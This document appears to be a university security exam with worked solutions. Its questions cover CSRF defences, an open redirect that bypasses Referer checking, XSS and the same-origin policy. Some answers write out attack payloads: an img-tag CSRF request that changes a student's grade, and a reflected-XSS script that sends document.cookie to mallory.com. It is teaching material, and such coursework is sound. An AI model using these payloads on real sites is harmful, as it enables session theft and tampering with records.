Q1 *Cauliflower Smells Really Flavorful* (17 points)

califlower.com decides to defend against CSRF attacks as follows:

1. When a user logs in, califlower.com sets two 32-byte **cookies** `session_id` and `csrf_token` randomly with domain califlower.com.
2. When the user sends a POST request, the value of the `csrf_token` is embedded as one of the form fields.
3. On receiving a POST request, califlower.com checks that the value of the `csrf_token` cookie matches the one in the form.

Assume that the cookies don't have the secure, HTTPOnly, or Strict flags set unless stated otherwise. Assume that no CSRF defenses besides the tokens are implemented. Assume every subpart is independent.

Note that CSRF tokens are not usually implemented as cookies, for reasons we will see in this question!

Q1.1 (3 points) Suppose the attacker gets the client to visit their malicious website which has domain evil.com. What can they do?

- ☐ (A) CSRF attack against califlower.com
- ☐ (B) Learn the value of the csrf_token cookie
- ☐ (C) Learn the value of the session_id cookie
- ■ (D) None of the above
- ☐ (E) ——
- ☐ (F) ——

Solution: The attacker's website is of a different domain so they are not able to change/read any cookies for califlower.com. As such, they not able to execute a CSRF attack since they can't guess the value of `csrf_token`.

Q1.2 (3 points) Suppose the attacker gets the client to visit their malicious website which has domain evil.califlower.com. What can they do?

- ■ (G) CSRF attack against califlower.com
- ■ (H) Learn the value of the csrf_token cookie
- ■ (I) Learn the value of the session_id cookie
- ☐ (J) None of the above
- ☐ (K) ——
- ☐ (L) ——

Solution: Since the attacker's website is a subdomain for califlower.com, it can read/set cookies. The attacker can embed Javascript in their page to extract `csrf_token` and form a malicious POST request.

Q1.3 (3 points) Suppose the attacker gets the client to visit a page on the website xss.califlower.com that contains a stored XSS vulnerability (the website xss.califlower.com is not controlled by the attacker). What can they do?

■ (A) CSRF attack against califlower.com

■ (B) Learn the value of the csrf_token cookie

■ (C) Learn the value of the session_id cookie

☐ (D) None of the above

☐ (E) ——

☐ (F) ——

Solution: Utilizing the XSS vulnerability, the attacker can extract the `csrf_token` cookie and cause the user's browser to make a malicious POST request.

Q1.4 (3 points) Suppose the attacker is on-path and observes the user make a POST request over HTTP to califlower.com. What can they do?

■ (G) CSRF attack against califlower.com

■ (H) Learn the value of the csrf_token cookie

■ (I) Learn the value of the session_id cookie

☐ (J) None of the above

☐ (K) ——

☐ (L) ——

Solution: The attacker can observe `session_id` and `csrf_token` in plaintext. The CSRF token gets "used up" by the request, so we can't immediately execute a CSRF attack with it. However, the server will reply with a new CSRF token that can then be used in our attack.

Q2 *Hacking the 161 Staff* **(10 points)**

After months of development, the CS 161 staff is ready to unveil their new course homepage at `http://cs161.org`. Each TA has their own account and, after authenticating on `http://cs161.org/login`, can update any student's grade on the final exam by making an HTTP GET request to:

`http://cs161.org/updatefinal?sid=<SID>&score=<SCORE>`

where <SID> is the student ID, and <SCORE> is the student's new exam score (as a number – without the percent sign).

Q2.1 Mallory is a student in CS 161, with the student ID of 12345678. She wants to use a CSRF attack to change her exam score to 100 percent. She overhears her TA mention in discussion that he likes to visit `http://cool-web-forum.com` which Mallory happens to know does not properly sanitize HTML in user inputs.

◇ **Question:** Give an input which Mallory can post to the forum in order to execute a CSRF attack to change her exam score, assuming there are no CSRF defenses on `cs161.org`.

_____

_____

Solution: Some possible solutions include:

- `<img src="http://cs161.org/updatefinal?sid=12345678&score=100">`
- ```
  <script>
  window.location="http://cs161.org/updatefinal?sid=12345678&score=100"
  </script>
  ```

We tried to be lenient with syntax, but solutions with very poor syntax received reduced credit. Half the points come from having the right link, and the other half come from putting it in an <img> tag or something similar. Note that just posting the link it not enough, since we didn't state the TA would click it.
  ```

Q2.2 The TA then visits the web forum, yet Mallory's grade does not change. Mallory deduces that the 161 staff must have included a defense for CSRF on their webpage. Not one to be deterred, Mallory decides to attempt her attack again.

The login page has an *open redirect*: It can be provided a webpage to automatically redirect to after the user successfully authenticates. For example the URL:

`http://cs161.org/login?to=http://google.com`

would redirect any logged in user to `http://google.com`.

Using this information, Mallory crafts the following attack—replacing your URL in part (a) with the following URL:

`http://cs161.org/login?to=http://cs161.org/updatefinal?sid=12345678&score=100`

A few minutes later, Mallory observes that her final grade is changed to a 100 percent. Which of the following are CSRF defenses that Mallory might have circumvented?

☐ Origin checking	☐ Content-Security-Policy	☐ Cookie policy
■ Referer checking	☐ Prepared statements	☐ Same-origin policy
☐ CSRF tokens	☐ Session cookies	☐ None of the above

Solution: The TA website must have been using Referer validation. Initally the Referer for the request was the web forum, but using the open redirect Mallory was able to make the Referer the TA website itself.

Note that this would not work against validation of the Origin header, which would still contain the web forum. All of the other defenses listed have nothing to do with the redirect, and so they do not apply.

Q2.3 The 161 staff update their site to better protect against CSRF. Mallory now notices that the website contains a profile page for each member of the 161 staff, reachable from the URL

`http://cs161.org/staff?name=<name>`

where `<name>` is replaced with each staff member's name. If the provided `<name>` does not correspond to a member of the 161 staff, then instead a page is loaded with a message stating "Sorry, but there is no TA named `<name>`!"

Suspecting that this website might be vulnerable to reflected XSS, Mallory visits the following URL:

`http://cs161.org/staff?name=<script>alert(0);</script>`

A Javascript popup immediately appears on her screen. Mallory smiles, realizing that she can weaponize this to login as her TA. She returns to the web forum that her TA frequently visits and posts a link.

Assume that Mallory's TA will click on any link that he sees on the web forum, and assume that Mallory controls her own website `http://mallory.com`.

◇ **Question:** How can Mallory pull off her attack and login as her TA? Make sure to include the link she posts on the forum in your answer. If you assume that Mallory's website has any scripts running, you must define what they are and what inputs they take in.

Solution: Mallory can use the reflected XSS vulnerability to grab her TA's cookie, which can then be used to hijack his session and change her grade. She can grab his cookie by making him click the link:

`http://cs161.org/staff?name=<script>...</script>`

where the script is something like:

`<script>window.location='http://mallory.com/grab.cgi?arg='+document.cookie<script>`

Students were allowed to use JS pseudocode as long as it was clear that their script would do the following three things:

- Opened and closed a `<script>` tag as the argument to `http://cs161.org/staff`.
- Made a request to `http://mallory.com` using (among other things) `window.location`, GET, or POST.
- Passed `document.cookie` as an argument to one of Mallory's scripts.

Partial credit was given for doing any of the above.

No credit was awarded for attempts to phish or clickjack the TA into entering their credentials into `http://mallory.com`, since you cannot assume the TA will do anything beyond clicking on one link on the forum. Attempts to navigate the TA to `http://mallory.com` and then use JS to get their cookie for `http://cs161.org` also did not get credit, since the SOP prevents this.

Given your performance as a skilled attacker of the UnicornBox website, university administrators have asked you to assess the security of the CalCentral platform.

The CalCentral website is set up as follows:

Q3 *CalCentral Security* **(20 points)**

CalCentral is located at `https://calcentral.berkeley.edu/`.

- The Central Authentication Service (CAS) is located at `https://auth.berkeley.edu/`.
- CalCentral uses session tokens stored in cookies for authentication, similar to Project 3. The session token cookie has domain `berkeley.edu`, and the `Secure` and `HttpOnly` flags are set.
- CalCentral does **not** use CSRF tokens or any form of CSRF protection.

Each subpart is independent.

Q3.1 (3 points) When a user attempts to sign in on CalCentral, the CAS login portal appears in a pop-up window.

TRUE OR FALSE: Because CalCentral and CAS have the same origin, CAS can update the CalCentral webpage when a user signs in successfully.

◯ (A) True, because CalCentral and CAS are managed by the same organization.

◯ (B) True, because windows with the same origin can interact with each other.

◯ (C) False, because pop-up windows can never affect other windows, regardless of the origin.

● (D) False, because CalCentral and CAS don't have the same origin.

◯ (E) ——

◯ (F) ——

Solution: False. These pages might be able to communicate in other ways, but they have different origins under the same-origin policy.

Q3.2 (3 points) When a user attempts to sign in on CalCentral, the CAS login portal appears in an `iframe` embedded on the CalCentral page.

TRUE OR FALSE: This design allows CalCentral to modify the text field on the CAS website to autofill the username field.

◯ (G) True, because CalCentral and CAS are managed by the same organization.

◯ (H) True, because the inner frame is loaded with the same origin of the outer frame.

◯ (I) False, because Javascript is needed to autofill form fields.

● (J) False, because the outer frame cannot affect the contents of the inner frame.

◯ (K) ——

◯ (L) ——

Solution: False. Frame isolation states that the outer page cannot change the contents of the inner page, and inner pages cannot change the content of the outer page.

Q3.3 (3 points) If a user is logged into CalCentral (has a valid session token cookie), a GET Request to `https://calcentral.berkeley.edu/api/photo/` will contain a response with their CalCentral photo. The website `https://evil.com/` loads an image with the following HTML snippet:

```
<image src="https://calcentral.berkeley.edu/api/photo/">
```

TRUE OR FALSE: If a user is currently signed into CalCentral, the `https://evil.com/` website will be able to successfully display their photo.

● (A) True, because the browser attaches the session token in the request to CalCentral.

◯ (B) True, because the referer in the request is `https://calcentral.berkeley.edu`.

◯ (C) False, because the browser does not attach the session token in the request to CalCentral.

◯ (D) False, because the referer in the request is `https://evil.com`.

◯ (E) ——

◯ (F) ——

Solution: True. The browser will attach the user's session cookie for CalCentral, due to cookie policy (domain matches). Because CSRF protection is disabled, the server doesn't check for a CSRF token or validate the referer, so any requests with a valid session token will be sent back the appropriate profile picture.

Q3.4 (3 points) You find a reflected XSS vulnerability on CAS. `https://berkeley.edu` has a footnote that says "UC Berkeley."

TRUE OR FALSE: Using this vulnerability, you can cause the victim to see "CS 161 Enterprises" in the footnote when they visit `https://berkeley.edu`.

◯ (G) True, because the script runs with the same origin as `https://berkeley.edu`.

◯ (H) True, because XSS subverts the same-origin policy.

● (I) False, because the script runs with a different origin from `https://berkeley.edu`.

◯ (J) False, because the script only affects the browser's local copy of the site.

◯ (K) ——

◯ (L) ——

Solution: False. Even with a reflected XSS vulnerability, all injected scripts would run with the origin of CAS, which would be different from the origin of `https://berkeley.edu/`. Thus, by SOP, CAS wouldn't be able to modify the `https://berkeley.edu` site.

Q3.5 (3 points) You find a stored XSS vulnerability on CalCentral.

TRUE OR FALSE: Using this vulnerability, you can cause the victim to load CalCentral with the "My Academics" button changed to link to `https://evil.com/`.

● (A) True, because Javascript on a page can change that page's HTML

◯ (B) True, because CalCentral does not implement CSRF tokens.

◯ (C) False, because Javascript on a page cannot change that page's HTML

◯ (D) False, because `https://evil.com` has a different origin from CalCentral

◯ (E) ——

◯ (F) ——

Solution: True. A stored XSS vulnerability on CalCentral would allow an attacker to modify any of the contents of the CalCentral page.